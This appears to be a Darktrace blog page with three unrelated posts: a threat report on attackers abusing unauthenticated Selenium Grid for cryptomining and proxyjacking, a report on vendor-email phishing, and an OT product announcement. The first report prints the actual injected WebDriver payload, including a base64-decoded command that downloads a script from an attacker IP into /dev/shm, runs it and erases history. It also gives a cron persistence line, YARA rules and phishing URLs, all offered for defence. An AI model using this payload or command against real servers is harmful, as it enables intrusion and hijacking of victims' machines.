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December 9, 2024

From Automation to Exploitation: The Growing Misuse of Selenium Grid for Cryptomining and Proxyjacking

Cado Security Labs (now part of Darktrace) identified two new campaigns exploiting misconfigured Selenium Grid instances for cryptomining and proxyjacking. Attackers injected scripts to deploy reverse shells, IPRoyal Pawn, EarnFM, TraffMonetizer, and WatchTower for proxyjacking, and a Golang binary to install a cryptominer. These attacks highlight the critical need for Selenium Grid users to enable authentication.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher
Written by
Nate Bill
Threat Researcher
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09
Dec 2024

Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking

Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.

Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].

Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.

Technical analysis

Attack flow diagram
Figure 1: Attack flow of observed campaigns

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.

As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.

import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}} 

import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y") 

The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence. 

The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

Reverse shell script
Figure 2: Reverse shell script

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that: 

  • Perform system architecture checks.
  • Stop Docker containers “watchtower” and “traffmonitizer”.
  • Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
  • Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
  • These are executed with the users’ IPRoyal details passed as arguments:
    -accept-tos -email="FunnyRalph69@proton.me" -password="wrapitDown9!"

IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue. 

Screenshot from the "pl" script installing IPRoyal
Figure 3: Screenshot from the “pl” script installing IPRoyal

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:

  • Checks for root privileges
  • Checks operating system 
  • Checks IPv4 status
  • System architecture checks
  • Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
  • Base64 encoded script to install Docker, if not already running
  • Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
  • Deletes old TraffMonetizer container
Screenshot of function "tm" performing system checks
Figure 4: Screenshot of function “tm” performing system checks

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:

{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}} 

Bash script revealed by decoding the Python script
Figure 5: Bash script revealed by decoding the Python script

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.

The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.  

Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.

The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.

When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.

11 * * * * /.config/cron/perfcc

Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining. 

.xdiag directory
Figure 6: .xdiag directory
.perf.c directory
Figure 7: .perf.c directory

“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult. 

Bash script from Top
Figure 8: Bash script from Top

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage. 

Key takeaways

While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking. 

As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.  

Indicators of compromise

54[.]187[.]140[.]5

173[.]212[.]220[.]247

193[.]168[.]143[.]199

198[.]211[.]126[.]180

154[.]213[.]187[.]153

http://173[.]212[.]220[.]247/burjdubai/.jblae/pl

http://173[.]212[.]220[.]247/burjdubai/.jblae/y

Tor nodes

95[.]216[.]88[.]55

146[.]70[.]120[.]58

50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com

129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com

199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com

212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com

top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da  

perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13  

pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  

net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144  

efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2

MITRE ATTACK

Resource Hijacking  : T1496  

Ingress Tool Transfer : T1005  

Command and Scripting Interpreter Python : T1059.006  

Command and Scripting Interpreter Unix Shell : T1059.004  

Scheduled Task Cron : T1053.003  

Hijack Execution Flow Dynamic Linker Hijacking : T1574.006  

Deobfuscate/Decode Files or Information : T1140  

Indicator Removal Clear Command History : T1070.003  

Indicator Removal File Deletion : T1070.004  

Software Packing : T1027.002  

Domain Generation Algorithm : T1568.002

Detection

Paths

/tmp/.xdiag

/tmp/.perf.c

/etc/cron.*/perfclean

/.local/top

/.config/cron/top

/tmp/.apid

Yara rules

rule ELF_SHC_Compiled 
{   
meta:       
 description = "Detects ELF binaries compiled with SHC"       
 author = "tgould@cadosecurity.com"       
 date = "2024-09-03" 
strings:       
 $shc_str = "=%lu %d"       
 $shc_str2 = "%s%s%s: %s\n"       
 $shc_str3 = "%lu %d%c"       
 $shc_str4 = "x%lx"       
 $getenv = "getenv"           
 
condition:       
 uint32be(0) == 0x7f454c46 and       
 any of ($shc_str*) and $getenv      
} 
rule Detect_Base64_Obfuscation_Py 
{   
meta:       
 description = "Detects obfuscated Python code that uses base64 decoding"       
 author = "tgould@cadosecurity.com"       
 date = "2024-09-04"strings:       
 $import_base64 = "import base64" ascii       
 $exec_base64_decode = "exec(base64.b64decode(" ascii      $decode_exec = "base64.b64decode(b).decode())" ascii    
 condition:       
  all of ($import_base64, $exec_base64_decode, $decode_exec) 
  } 
rule perfcc_script 
{ 
meta:   
author = "tgould@cadosecurity.com"description = "Detects script used to set up and retrieve Perfcc"strings:        
$env = "AAZHDE"       
$dir = "mkdir /tmp/.perf.c 2>/dev/null"       
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"       
$curl = "\"curl/7.74.9\""       
$command = "pkill -9 perfctl &>/dev/null"       
$command_2 = "killall -9 perfctl &>/dev/null"       
$command_3 = "chmod +x /tmp/httpd"
condition:       
 $env and ($dir or $dir_2) and any of ($command*) and $curl  
 } 

References:  

  1. https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
  2. http://github.com/hackerschoice/gsocket
  3. https://github.com/ly4k/PwnKit
  4. https://www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher
Written by
Nate Bill
Threat Researcher

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September 30, 2025

Out of Character: Detecting Vendor Compromise and Trusted Relationship Abuse with Darktrace

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What is Vendor Email Compromise?

Vendor Email Compromise (VEC) refers to an attack where actors breach a third-party provider to exploit their access, relationships, or systems for malicious purposes. The initially compromised entities are often the target’s existing partners, though this can extend to any organization or individual the target is likely to trust.

It sits at the intersection of supply chain attacks and business email compromise (BEC), blending technical exploitation with trust-based deception. Attackers often infiltrate existing conversations, leveraging AI to mimic tone and avoid common spelling and grammar pitfalls. Malicious content is typically hosted on otherwise reputable file sharing platforms, meaning any shared links initially seem harmless.

While techniques to achieve initial access may have evolved, the goals remain familiar. Threat actors harvest credentials, launch subsequent phishing campaigns, attempt to redirect invoice payments for financial gain, and exfiltrate sensitive corporate data.

Why traditional defenses fall short

These subtle and sophisticated email attacks pose unique challenges for defenders. Few busy people would treat an ongoing conversation with a trusted contact with the same level of suspicion as an email from the CEO requesting ‘URGENT ASSISTANCE!’ Unfortunately, many traditional secure email gateways (SEGs) struggle with this too. Detecting an out-of-character email, when it does not obviously appear out of character, is a complex challenge. It’s hardly surprising, then, that 83% of organizations have experienced a security incident involving third-party vendors [1].  

This article explores how Darktrace detected four different vendor compromise campaigns for a single customer, within a two-week period in 2025.  Darktrace / EMAIL successfully identified the subtle indicators that these seemingly benign emails from trusted senders were, in fact, malicious. Due to the configuration of Darktrace / EMAIL in this customer’s environment, it was unable to take action against the malicious emails. However, if fully enabled to take Autonomous Response, it would have held all offending emails identified.

How does Darktrace detect vendor compromise?

The answer lies at the core of how Darktrace operates: anomaly detection. Rather than relying on known malicious rules or signatures, Darktrace learns what ‘normal’ looks like for an environment, then looks for anomalies across a wide range of metrics. Despite the resourcefulness of the threat actors involved in this case, Darktrace identified many anomalies across these campaigns.

Different campaigns, common traits

A wide variety of approaches was observed. Individuals, shared mailboxes and external contractors were all targeted. Two emails originated from compromised current vendors, while two came from unknown compromised organizations - one in an associated industry. The sender organizations were either familiar or, at the very least, professional in appearance, with no unusual alphanumeric strings or suspicious top-level domains (TLDs). Subject line, such as “New Approved Statement From [REDACTED]” and “[REDACTED] - Proposal Document” appeared unremarkable and were not designed to provoke heightened emotions like typical social engineering or BEC attempts.

All emails had been given a Microsoft Spam Confidence Level of 1, indicating Microsoft did not consider them to be spam or malicious [2]. They also passed authentication checks (including SPF, and in some cases DKIM and DMARC), meaning they appeared to originate from an authentic source for the sender domain and had not been tampered with in transit.  

All observed phishing emails contained a link hosted on a legitimate and commonly used file-sharing site. These sites were often convincingly themed, frequently featuring the name of a trusted vendor either on the page or within the URL, to appear authentic and avoid raising suspicion. However, these links served only as the initial step in a more complex, multi-stage phishing process.

A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Figure 1: A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.
Figure 2: Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.

If followed, the recipient would be redirected, sometimes via CAPTCHA, to fake Microsoft login pages designed to capturing credentials, namely http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html and https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html#.

The latter made use of homoglyphs to deceive the user, with a link referencing ‘s3cure0line’, rather than ‘secureonline’. Post-incident investigation using open-source intelligence (OSINT) confirmed that the domains were linked to malicious phishing endpoints [3] [4].

Fake Microsoft login page designed to harvest credentials.
Figure 3: Fake Microsoft login page designed to harvest credentials.
Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.
Figure 4: Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.

Darktrace Anomaly Detection

Some senders were unknown to the network, with no previous outbound or inbound emails. Some had sent the email to multiple undisclosed recipients using BCC, an unusual behavior for a new sender.  

Where the sender organization was an existing vendor, Darktrace recognized out-of-character behavior, in this case it was the first time a link to a particular file-sharing site had been shared. Often the links themselves exhibited anomalies, either being unusually prominent or hidden altogether - masked by text or a clickable image.

Crucially, Darktrace / EMAIL is able to identify malicious links at the time of processing the emails, without needing to visit the URLs or analyze the destination endpoints, meaning even the most convincing phishing pages cannot evade detection – meaning even the most convincing phishing emails cannot evade detection. This sets it apart from many competitors who rely on crawling the endpoints present in emails. This, among other things, risks disruption to user experience, such as unsubscribing them from emails, for instance.

Darktrace was also able to determine that the malicious emails originated from a compromised mailbox, using a series of behavioral and contextual metrics to make the identification. Upon analysis of the emails, Darktrace autonomously assigned several contextual tags to highlight their concerning elements, indicating that the messages contained phishing links, were likely sent from a compromised account, and originated from a known correspondent exhibiting out-of-character behavior.

A summary of the anomalous email, confirming that it contained a highly suspicious link.
Figure 5: Tags assigned to offending emails by Darktrace / EMAIL.

Figure 6: A summary of the anomalous email, confirming that it contained a highly suspicious link.

Out-of-character behavior caught in real-time

In another customer environment around the same time Darktrace / EMAIL detected multiple emails with carefully crafted, contextually appropriate subject lines sent from an established correspondent being sent to 30 different recipients. In many cases, the attacker hijacked existing threads and inserted their malicious emails into an ongoing conversation in an effort to blend in and avoid detection. As in the previous, the attacker leveraged a well-known service, this time ClickFunnels, to host a document containing another malicious link. Once again, they were assigned a Microsoft Spam Confidence Level of 1, indicating that they were not considered malicious.

The legitimate ClickFunnels page used to host a malicious phishing link.
Figure 7: The legitimate ClickFunnels page used to host a malicious phishing link.

This time, however, the customer had Darktrace / EMAIL fully enabled to take Autonomous Response against suspicious emails. As a result, when Darktrace detected the out-of-character behavior, specifically, the sharing of a link to a previously unused file-sharing domain, and identified the likely malicious intent of the message, it held the email, preventing it from reaching recipients’ inboxes and effectively shutting down the attack.

Figure 8: Darktrace / EMAIL’s detection of malicious emails inserted into an existing thread.*

*To preserve anonymity, all real customer names, email addresses, and other identifying details have been redacted and replaced with fictitious placeholders.

Legitimate messages in the conversation were assigned an Anomaly Score of 0, while the newly inserted malicious emails identified and were flagged with the maximum score of 100.

Key takeaways for defenders

Phishing remains big business, and as the landscape evolves, today’s campaigns often look very different from earlier versions. As with network-based attacks, threat actors are increasingly leveraging legitimate tools and exploiting trusted relationships to carry out their malicious goals, often staying under the radar of security teams and traditional email defenses.

As attackers continue to exploit trusted relationships between organizations and their third-party associates, security teams must remain vigilant to unexpected or suspicious email activity. Protecting the digital estate requires an email solution capable of identifying malicious characteristics, even when they originate from otherwise trusted senders.

Credit to Jennifer Beckett (Cyber Analyst), Patrick Anjos (Senior Cyber Analyst), Ryan Traill (Analyst Content Lead), Kiri Addison (Director of Product)

Appendices

IoC - Type - Description + Confidence  

- http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html#p – fake Microsoft login page

- https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html# - link to domain used in homoglyph attack

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

References

1.     https://gitnux.org/third-party-risk-statistics/

2.     https://learn.microsoft.com/en-us/defender-office-365/anti-spam-spam-confidence-level-scl-about

3.     https://www.virustotal.com/gui/url/5df9aae8f78445a590f674d7b64c69630c1473c294ce5337d73732c03ab7fca2/detection

4.     https://www.virustotal.com/gui/url/695d0d173d1bd4755eb79952704e3f2f2b87d1a08e2ec660b98a4cc65f6b2577/details

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

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September 30, 2025

Announcing Unified OT Security with Dedicated OT Workflows, Segmentation-Aware Risk Insights, and Next-Gen Endpoint Visibility for Industrial Teams

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The challenge of convergence without clarity

Convergence is no longer a roadmap idea, it is the daily reality for industrial security teams. As Information Technology (IT) and Operational Technology (OT) environments merge, the line between a cyber incident and an operational disruption grows increasingly hard to define. A misconfigured firewall rule can lead to downtime. A protocol misuse might look like a glitch. And when a pump stalls but nothing appears in the Security Operations Center (SOC) dashboard, teams are left asking: is this operational or is this a threat?

The lack of shared context slows down response, creates friction between SOC analysts and plant engineers, and leaves organizations vulnerable at exactly the points where IT and OT converge. Defenders need more than alerts, they need clarity that both sides can trust.

The breakthrough with Darktrace / OT

This latest Darktrace / OT release was built to deliver exactly that. It introduces shared context between Security, IT, and OT operations, helping reduce friction and close the security gaps at the intersection of these domains.

With a dedicated dashboard built for operations teams, extended visibility into endpoints for new forms of detection and CVE collection, expanded protocol coverage, and smarter risk modeling aligned to segmentation policies, teams can now operate from a shared source of truth. These enhancements are not just incremental upgrades, they are foundational improvements designed to bring clarity, efficiency, and trust to converged environments.

A dashboard built for OT engineers

The new Operational Overview provides OT engineers with a workspace designed for them, not for SOC analysts. It brings asset management, risk insights and operational alerts into one place. Engineers can now see activity like firmware changes, controller reprograms or the sudden appearance of a new workstation on the network, providing a tailored view for critical insights and productivity gains without navigating IT-centric workflows. Each device view is now enriched with cross-linked intelligence, make, model, firmware version and the roles inferred by Self-Learning AI, making it easier to understand how each asset behaves, what function it serves, and where it fits within the broader industrial process. By suppressing IT-centric noise, the dashboard highlights only the anomalies that matter to operations, accelerating triage, enabling smoother IT/OT collaboration, and reducing time to root cause without jumping between tools.

This is usability with purpose, a view that matches OT workflows and accelerates response.

Figure 1: The Operational Overview provides an intuitive dashboard summarizing all OT Assets, Alerts, and Risk.

Full-spectrum coverage across endpoints, sensors and protocols

The release also extends visibility into areas that have traditionally been blind spots. Engineering workstations, Human-Machine Interfaces (HMIs), contractor laptops and field devices are often the entry points for attackers, yet the hardest to monitor.

Darktrace introduces Network Endpoint eXtended Telemetry (NEXT) for OT, a lightweight collector built for segmented and resource-constrained environments. NEXT for OT uses Endpoint sensors to capture localized network, and now process-level telemetry, placing it in context alongside other network and asset data to:

  1. Identify vulnerabilities and OS data, which is leveraged by OT Risk Management for risk scoring and patching prioritization, removing the need for third-party CVE collection.
  1. Surface novel threats using Self-Learning AI that standalone Endpoint Detection and Response (EDR) would miss.
  1. Extend Cyber AI Analyst investigations through to the endpoint root cause.

NEXT is part of our existing cSensor endpoint agent, can be deployed standalone or alongside existing EDR tools, and allows capabilities to be enabled or disabled depending on factors such as security or OT team objectives and resource utilization.

Figure 2: Darktrace / OT delivers CVE patch priority insights by combining threat intelligence with extended network and endpoint telemetry

The family of Darktrace Endpoint sensors also receive a boost in deployment flexibility, with on-prem server-based setups, as well as a Windows driver tailored for zero-trust and high-security environments.

Protocol coverage has been extended where it matters most. Darktrace now performs protocol analysis of a wider range of GE and Mitsubishi protocols, giving operators real-time visibility into commands and state changes on Programmable Logic Controllers (PLCs), robots and controllers. Backed by Self-Learning AI, this inspection does more than parse traffic, it understands what normal looks like and flags deviations that signal risk.

Integrated risk and governance workflows

Security data is only valuable when it drives action. Darktrace / OT delivers risk insights that go beyond patching, helping teams take meaningful steps even when remediation isn't possible. Risk is assessed not just by CVE presence, but by how network segmentation, firewall policies, and attack path logic neutralize or contain real-world exposure. This approach empowers defenders to deprioritize low-impact vulnerabilities and focus effort where risk truly exists. Building on the foundation introduced in release 6.3, such as KEV enrichment, endpoint OS data, and exploit mapping, this release introduces new integrations that bring Darktrace / OT intelligence directly into governance workflows.

Fortinet FortiGate firewall ingestion feeds segmentation rules into attack path modeling, revealing real exposure when policies fail and closing feeds into patching prioritization based on a policy to CVE exposure assessment.

  • ServiceNow Configuration Management Database (CMDB) sync ensures asset intelligence stays current across governance platforms, eliminating manual inventory work.

Risk modeling has also been made more operationally relevant. Scores are now contextualized by exploitability, asset criticality, firewall policy, and segmentation posture. Patch recommendations are modeled in terms of safety, uptime and compliance rather than just Common Vulnerability Scoring System (CVSS) numbers. And importantly, risk is prioritized across the Purdue Model, giving defenders visibility into whether vulnerabilities remain isolated to IT or extend into OT-critical layers.

Figure 3: Attack Path Modeling based on NetFlow and network topology reveals high risk points of IT/OT convergence.

The real-world impact for defenders

In today’s environments, attackers move fluidly between IT and OT. Without unified visibility and shared context, incidents cascade faster than teams can respond.

With this release, Darktrace / OT changes that reality. The Operational Overview gives Engineers a dashboard they can use daily, tailored to their workflows. SOC analysts can seamlessly investigate telemetry across endpoints, sensors and protocols that were once blind spots. Operators gain transparency into PLCs and controllers. Governance teams benefit from automated integrations with platforms like Fortinet and ServiceNow. And all stakeholders work from risk models that reflect what truly matters: safety, uptime and compliance.

This release is not about creating more alerts. It is about providing more clarity. By unifying context across IT and OT, Darktrace / OT enables defenders to see more, understand more and act faster.

Because in environments where safety and uptime are non-negotiable, clarity is what matters most.

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About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
Your data. Our AI.
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